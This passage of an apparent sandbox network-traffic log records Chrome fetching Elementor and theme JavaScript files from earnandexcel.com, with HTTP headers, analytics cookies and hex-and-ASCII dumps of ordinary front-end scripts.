mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8f6b3f9e02-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-7e8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N7G2w2YdU50QKgKfC%2BAqooyc6WRpDYiIRb1hEGmxcZXzB%2BkHRkV2CUh80FaTJ1x8omKRUx8E7UItN77ulyXIzSWuSJZuTJegepoTXSW83KCoH1%2Bkpw7M5cqQZNb3zqu%2FTCw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	428	IN	Data Raw: 37 65 38 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 76 61 72 20 24 62 6f 64 79 20 3d 20 24 28 20 27 62 6f 64 79 27 20 29 3b 0a 0a 09 09 76 61 72 20 45 64 75 6d 61 6c 6c 47 72 69 64 44 61 74 61 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 67 72 69 64 2d 77 72 61 70 70 65 72 27 20 29 3b 0a 09 09 09 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 27 2e 65 64 75 6d 61 6c 6c 2d 77 69 64 67 65 74 2d 6e 69 63 65 2d 73 65 6c 65 63 74 27 29 2e 45 64 75 6d 61 6c 6c 4e 69 63 65 53 65 6c 65 63 74 28 29 3b 0a 09 09 09 24 Data Ascii: 7e8(function( $ ) {'use strict';var $body = $( 'body' );var EdumallGridDataHandler = function( $scope, $ ) {var $element = $scope.find( '.edumall-grid-wrapper' );$element.find('.edumall-widget-nice-select').EdumallNiceSelect();$
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 20 29 20 7b 0a 09 09 09 69 66 20 28 20 21 20 24 65 6c 65 6d 65 6e 74 2e 68 61 73 43 6c 61 73 73 28 20 27 70 6f 72 74 66 6f 6c 69 6f 2d 6f 76 65 72 6c 61 79 2d 6d 6f 76 65 6d 65 6e 74 27 20 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 09 7d 0a 0a 09 09 09 24 65 6c 65 6d 65 6e 74 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 27 2c 20 27 2e 70 6f 73 74 2d 77 72 61 70 70 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 20 29 20 7b 0a 09 09 09 09 76 61 72 20 6f 66 66 73 65 74 20 3d 20 24 28 20 74 68 69 73 20 29 2e 6f 66 66 73 65 74 28 29 3b 0a 09 09 09 09 76 61 72 20 78 20 3d 20 65 2e 70 61 67 65 58 20 2d 20 6f 66 66 73 65 74 2e 6c 65 66 74 3b 0a 09 09 09 09 76 61 72 20 79 20 3d 20 65 2e 70 61 67 65 59 20 2d 20 6f 66 66 73 65 74 2e 74 6f 70 3b 0a Data Ascii: ) {if ( ! $element.hasClass( 'portfolio-overlay-movement' ) ) {return;}$element.on( 'mousemove', '.post-wrapper', function( e ) {var offset = $( this ).offset();var x = e.pageX - offset.left;var y = e.pageY - offset.top;
2024-04-11 21:26:47 UTC	234	IN	Data Raw: 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 61 64 64 41 63 74 69 6f 6e 28 20 27 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 74 6d 2d 70 72 6f 64 75 63 74 2e 64 65 66 61 75 6c 74 27 2c 20 45 64 75 6d 61 6c 6c 47 72 69 64 44 61 74 61 48 61 6e 64 6c 65 72 20 29 3b 0a 09 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 61 64 64 41 63 74 69 6f 6e 28 20 27 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 74 6d 2d 63 6f 75 72 73 65 2e 64 65 66 61 75 6c 74 27 2c 20 45 64 75 6d 61 6c 6c 47 72 69 64 44 61 74 61 48 61 6e 64 6c 65 72 20 29 3b 0a 09 09 7d 20 29 3b 0a 09 7d 0a 29 28 20 6a 51 75 65 72 79 20 29 3b 0a 0d 0a Data Ascii: ntorFrontend.hooks.addAction( 'frontend/element_ready/tm-product.default', EdumallGridDataHandler );elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-course.default', EdumallGridDataHandler );} );})( jQuery );
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.17	49870	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1083	OUT	GET /wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8f993343e8-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32ba-15a0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:37:30 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zqnjMaNRW0urNViTTjC2Pg6wxlg7oNyTNckCb3hDilTkHgs5v0tdVDyIESphaKiKBtw3O4LxzUOcGKNdyXBqMDSBNwQg2b3badcgK6B1omqjxhL3c%2FMcnjVj856TbV3AiE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	433	IN	Data Raw: 31 35 61 30 0d 0a 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 32 2e 32 20 2d 20 30 35 2d 30 35 2d 32 30 32 31 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 5f 2c 74 2c 61 3d 7b 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 65 29 7b 69 66 28 6e 5b 65 5d 29 72 65 74 75 72 6e 20 6e 5b 65 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 2c 72 2e 65 78 70 6f 72 74 73 7d 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e 6d 3d 61 2c 5f 5f Data Ascii: 15a0/! elementor-pro - v3.2.2 - 05-05-2021 /(()=>{"use strict";var e,r,_,t,a={},n={};function __webpack_require__(e){if(n[e])return n[e].exports;var r=n[e]={exports:{}};return a[e](r,r.exports,__webpack_require__),r.exports}__webpack_require__.m=a,__
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 65 6f 66 20 5f 26 26 5f 29 7b 69 66 28 34 26 74 26 26 5f 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 5f 3b 69 66 28 31 36 26 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 5f 2e 74 68 65 6e 29 72 65 74 75 72 6e 20 5f 7d 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e 72 28 61 29 3b 76 61 72 20 6e 3d 7b 7d 3b 65 3d 65 7c 7c 5b 6e 75 6c 6c 2c 72 28 7b 7d 29 2c 72 28 5b 5d 29 2c 72 28 72 29 5d 3b 66 6f 72 28 76 61 72 20 69 3d 32 26 74 26 26 5f 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 69 26 26 21 7e 65 2e 69 6e 64 65 78 4f 66 28 69 29 3b 69 3d 72 28 69 29 29 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 Data Ascii: eof _&&_){if(4&t&&_.__esModule)return _;if(16&t&&"function"==typeof _.then)return _}var a=Object.create(null);__webpack_require__.r(a);var n={};e=e\|\|[null,r({}),r([]),r(r)];for(var i=2&t&&_;"object"==typeof i&&!~e.indexOf(i);i=r(i))Object.getOwnPropertyNa
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 31 36 38 65 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 3a 35 38 3d 3d 3d 65 3f 22 73 68 61 72 65 2d 62 75 74 74 6f 6e 73 2e 63 32 64 38 62 34 64 36 62 39 64 66 32 34 37 39 34 32 34 38 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 3a 31 31 34 3d 3d 3d 65 3f 22 73 6c 69 64 65 73 2e 65 61 30 66 31 33 66 61 32 65 61 39 65 38 34 61 31 66 39 36 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 3a 34 34 33 3d 3d 3d 65 3f 22 73 6f 63 69 61 6c 2e 35 64 65 31 32 66 64 63 61 62 63 32 61 37 39 31 66 32 34 66 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 3a 38 33 38 3d 3d 3d 65 3f 22 74 61 62 6c 65 2d 6f 66 2d 63 6f 6e 74 65 6e 74 73 2e 30 33 66 39 37 36 30 66 61 64 65 33 30 32 62 66 63 30 63 30 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 3a 36 38 35 3d 3d 3d 65 3f 22 61 Data Ascii: 168e.bundle.min.js":58===e?"share-buttons.c2d8b4d6b9df24794248.bundle.min.js":114===e?"slides.ea0f13fa2ea9e84a1f96.bundle.min.js":443===e?"social.5de12fdcabc2a791f24f.bundle.min.js":838===e?"table-of-contents.03f9760fade302bfc0c0.bundle.min.js":685===e?"a
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 68 28 28 65 3d 3e 65 28 74 29 29 29 2c 72 29 72 65 74 75 72 6e 20 72 28 74 29 7d 2c 62 3d 73 65 74 54 69 6d 65 6f 75 74 28 6f 6e 53 63 72 69 70 74 43 6f 6d 70 6c 65 74 65 2e 62 69 6e 64 28 6e 75 6c 6c 2c 76 6f 69 64 20 30 2c 7b 74 79 70 65 3a 22 74 69 6d 65 6f 75 74 22 2c 74 61 72 67 65 74 3a 6e 7d 29 2c 31 32 65 34 29 3b 6e 2e 6f 6e 65 72 72 6f 72 3d 6f 6e 53 63 72 69 70 74 43 6f 6d 70 6c 65 74 65 2e 62 69 6e 64 28 6e 75 6c 6c 2c 6e 2e 6f 6e 65 72 72 6f 72 29 2c 6e 2e 6f 6e 6c 6f 61 64 3d 6f 6e 53 63 72 69 70 74 43 6f 6d 70 6c 65 74 65 2e 62 69 6e 64 28 6e 75 6c 6c 2c 6e 2e 6f 6e 6c 6f 61 64 29 2c 69 26 26 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 7d 7d 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f Data Ascii: h((e=>e(t))),r)return r(t)},b=setTimeout(onScriptComplete.bind(null,void 0,{type:"timeout",target:n}),12e4);n.onerror=onScriptComplete.bind(null,n.onerror),n.onload=onScriptComplete.bind(null,n.onload),i&&document.head.appendChild(n)}},__webpack_require__
2024-04-11 21:26:47 UTC	1004	IN	Data Raw: 6e 2c 74 5b 31 5d 28 69 29 7d 7d 29 2c 22 63 68 75 6e 6b 2d 22 2b 72 29 7d 7d 3b 76 61 72 20 63 68 65 63 6b 44 65 66 65 72 72 65 64 4d 6f 64 75 6c 65 73 3d 65 3d 3e 7b 7d 2c 77 65 62 70 61 63 6b 4a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 28 5f 2c 74 29 3d 3e 7b 66 6f 72 28 76 61 72 20 61 2c 6e 2c 5b 69 2c 63 2c 75 2c 6f 5d 3d 74 2c 62 3d 30 2c 70 3d 5b 5d 3b 62 3c 69 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 6e 3d 69 5b 62 5d 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e 6f 28 65 2c 6e 29 26 26 65 5b 6e 5d 26 26 70 2e 70 75 73 68 28 65 5b 6e 5d 5b 30 5d 29 2c 65 5b 6e 5d 3d 30 3b 66 6f 72 28 61 20 69 6e 20 63 29 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e 6f 28 63 2c 61 29 26 26 28 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 Data Ascii: n,t[1](i)}}),"chunk-"+r)}};var checkDeferredModules=e=>{},webpackJsonpCallback=(_,t)=>{for(var a,n,[i,c,u,o]=t,b=0,p=[];b<i.length;b++)n=i[b],__webpack_require__.o(e,n)&&e[n]&&p.push(e[n][0]),e[n]=0;for(a in c)__webpack_require__.o(c,a)&&(__webpack_requir
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.17	49869	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1085	OUT	GET /wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8f9b2c32e2-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32ba-19c3" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:37:30 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s6QoDGh%2FVqsgMq0iEt5N15koJfhP8JqyKgAqSCY2jdXwxJEtpeUoei%2FAh3soE%2F4kbaut9YIMte%2BcGeitYLW7iveomLHZvIv3%2FhDPdNE47z4sWzMFSSJsL%2F89lUhn4uxuClU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	423	IN	Data Raw: 31 39 63 33 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 76 61 72 20 53 74 69 63 6b 79 3d 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 75 73 65 72 53 65 74 74 69 6e 67 73 29 7b 76 61 72 20 24 65 6c 65 6d 65 6e 74 2c 69 73 53 74 69 63 6b 79 3d 66 61 6c 73 65 2c 69 73 46 6f 6c 6c 6f 77 69 6e 67 50 61 72 65 6e 74 3d 66 61 6c 73 65 2c 69 73 52 65 61 63 68 65 64 45 66 66 65 63 74 73 50 6f 69 6e 74 3d 66 61 6c 73 65 2c 65 6c 65 6d 65 6e 74 73 3d 7b 7d 2c 73 65 74 74 69 6e 67 73 3b 76 61 72 20 64 65 66 61 75 6c 74 53 65 74 74 69 6e 67 73 3d 7b 74 6f 3a 22 74 6f 70 22 2c 6f 66 66 73 65 74 3a 30 2c 65 66 66 65 63 74 73 4f 66 66 73 65 74 3a 30 2c 70 61 72 65 6e 74 3a 66 61 6c 73 65 2c 63 6c 61 73 73 65 73 3a 7b 73 74 69 63 6b 79 3a 22 73 74 69 63 6b 79 22 2c Data Ascii: 19c3(function($){var Sticky=function(element,userSettings){var $element,isSticky=false,isFollowingParent=false,isReachedEffectsPoint=false,elements={},settings;var defaultSettings={to:"top",offset:0,effectsOffset:0,parent:false,classes:{sticky:"sticky",
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 73 2e 24 77 69 6e 64 6f 77 3d 24 28 77 69 6e 64 6f 77 29 3b 69 66 28 73 65 74 74 69 6e 67 73 2e 70 61 72 65 6e 74 29 7b 69 66 28 22 70 61 72 65 6e 74 22 3d 3d 3d 73 65 74 74 69 6e 67 73 2e 70 61 72 65 6e 74 29 7b 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 3d 24 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 28 29 7d 65 6c 73 65 7b 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 3d 24 65 6c 65 6d 65 6e 74 2e 63 6c 6f 73 65 73 74 28 73 65 74 74 69 6e 67 73 2e 70 61 72 65 6e 74 29 7d 7d 7d 3b 76 61 72 20 69 6e 69 74 53 65 74 74 69 6e 67 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 74 69 6e 67 73 3d 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 64 65 66 61 75 6c 74 53 65 74 74 69 6e 67 73 2c 75 73 65 72 53 65 74 74 69 6e 67 73 Data Ascii: lements.$window=$(window);if(settings.parent){if("parent"===settings.parent){elements.$parent=$element.parent()}else{elements.$parent=$element.closest(settings.parent)}}};var initSettings=function(){settings=jQuery.extend(true,defaultSettings,userSettings
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 64 74 68 22 29 2c 6d 61 72 67 69 6e 54 6f 70 3a 30 2c 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 3a 30 7d 3b 63 73 73 5b 73 65 74 74 69 6e 67 73 2e 74 6f 5d 3d 73 65 74 74 69 6e 67 73 2e 6f 66 66 73 65 74 3b 63 73 73 5b 22 74 6f 70 22 3d 3d 3d 73 65 74 74 69 6e 67 73 2e 74 6f 3f 22 62 6f 74 74 6f 6d 22 3a 22 74 6f 70 22 5d 3d 22 22 3b 24 65 6c 65 6d 65 6e 74 2e 63 73 73 28 63 73 73 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 65 73 2e 73 74 69 63 6b 79 41 63 74 69 76 65 29 7d 3b 76 61 72 20 75 6e 73 74 69 63 6b 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 24 65 6c 65 6d 65 6e 74 2e 63 73 73 28 67 65 74 43 53 53 42 61 63 6b 75 70 28 24 65 6c 65 6d 65 6e 74 2c 22 75 6e 73 74 69 63 6b 79 22 29 29 2e 72 65 6d 6f 76 65 43 6c Data Ascii: dth"),marginTop:0,marginBottom:0};css[settings.to]=settings.offset;css["top"===settings.to?"bottom":"top"]="";$element.css(css).addClass(settings.classes.stickyActive)};var unstickElement=function(){$element.css(getCSSBackup($element,"unsticky")).removeCl
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 77 70 6f 72 74 4f 66 66 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 24 65 6c 65 6d 65 6e 74 56 69 65 77 70 6f 72 74 4f 66 66 73 65 74 29 7b 76 61 72 20 77 69 6e 64 6f 77 53 63 72 6f 6c 6c 54 6f 70 3d 65 6c 65 6d 65 6e 74 73 2e 24 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2c 65 6c 65 6d 65 6e 74 48 65 69 67 68 74 3d 67 65 74 45 6c 65 6d 65 6e 74 4f 75 74 65 72 53 69 7a 65 28 24 65 6c 65 6d 65 6e 74 56 69 65 77 70 6f 72 74 4f 66 66 73 65 74 2c 22 68 65 69 67 68 74 22 29 2c 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 3d 69 6e 6e 65 72 48 65 69 67 68 74 2c 65 6c 65 6d 65 6e 74 4f 66 66 73 65 74 46 72 6f 6d 54 6f 70 3d 24 65 6c 65 6d 65 6e 74 56 69 65 77 70 6f 72 74 4f 66 66 73 65 74 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 2c 64 69 73 74 61 6e 63 65 46 72 Data Ascii: wportOffset=function($elementViewportOffset){var windowScrollTop=elements.$window.scrollTop(),elementHeight=getElementOuterSize($elementViewportOffset,"height"),viewportHeight=innerHeight,elementOffsetFromTop=$elementViewportOffset.offset().top,distanceFr
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 4f 66 66 73 65 74 2e 62 6f 74 74 6f 6d 2e 66 72 6f 6d 54 6f 70 3a 70 61 72 65 6e 74 56 69 65 77 70 6f 72 74 44 69 73 74 61 6e 63 65 3e 3d 65 6c 65 6d 65 6e 74 4f 66 66 73 65 74 2e 74 6f 70 2e 66 72 6f 6d 42 6f 74 74 6f 6d 3b 69 66 28 69 73 4e 65 65 64 46 6f 6c 6c 6f 77 69 6e 67 29 7b 66 6f 6c 6c 6f 77 50 61 72 65 6e 74 28 29 7d 7d 7d 3b 76 61 72 20 63 68 65 63 6b 45 66 66 65 63 74 73 50 6f 69 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 64 69 73 74 61 6e 63 65 46 72 6f 6d 54 72 69 67 67 65 72 50 6f 69 6e 74 29 7b 69 66 28 69 73 52 65 61 63 68 65 64 45 66 66 65 63 74 73 50 6f 69 6e 74 26 26 2d 64 69 73 74 61 6e 63 65 46 72 6f 6d 54 72 69 67 67 65 72 50 6f 69 6e 74 3c 73 65 74 74 69 6e 67 73 2e 65 66 66 65 63 74 73 4f 66 66 73 65 74 29 7b 24 65 6c 65 6d 65 6e 74 2e Data Ascii: Offset.bottom.fromTop:parentViewportDistance>=elementOffset.top.fromBottom;if(isNeedFollowing){followParent()}}};var checkEffectsPoint=function(distanceFromTriggerPoint){if(isReachedEffectsPoint&&-distanceFromTriggerPoint<settings.effectsOffset){$element.
2024-04-11 21:26:47 UTC	704	IN	Data Raw: 3b 74 68 69 73 2e 64 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 73 53 74 69 63 6b 79 29 7b 75 6e 73 74 69 63 6b 28 29 7d 75 6e 62 69 6e 64 45 76 65 6e 74 73 28 29 3b 24 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 65 73 2e 73 74 69 63 6b 79 29 7d 3b 69 6e 69 74 28 29 7d 3b 24 2e 66 6e 2e 73 74 69 63 6b 79 3d 66 75 6e 63 74 69 6f 6e 28 73 65 74 74 69 6e 67 73 29 7b 76 61 72 20 69 73 43 6f 6d 6d 61 6e 64 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 73 65 74 74 69 6e 67 73 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 24 74 68 69 73 3d 24 28 74 68 69 73 29 3b 69 66 28 21 69 73 43 6f 6d 6d 61 6e 64 29 7b 24 74 68 69 73 2e 64 61 74 61 28 Data Ascii: ;this.destroy=function(){if(isSticky){unstick()}unbindEvents();$element.removeClass(settings.classes.sticky)};init()};$.fn.sticky=function(settings){var isCommand="string"===typeof settings;this.each(function(){var $this=$(this);if(!isCommand){$this.data(
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.17	49871	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	1072	OUT	GET /wp-content/plugins/elementor-pro/assets/js/frontend.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
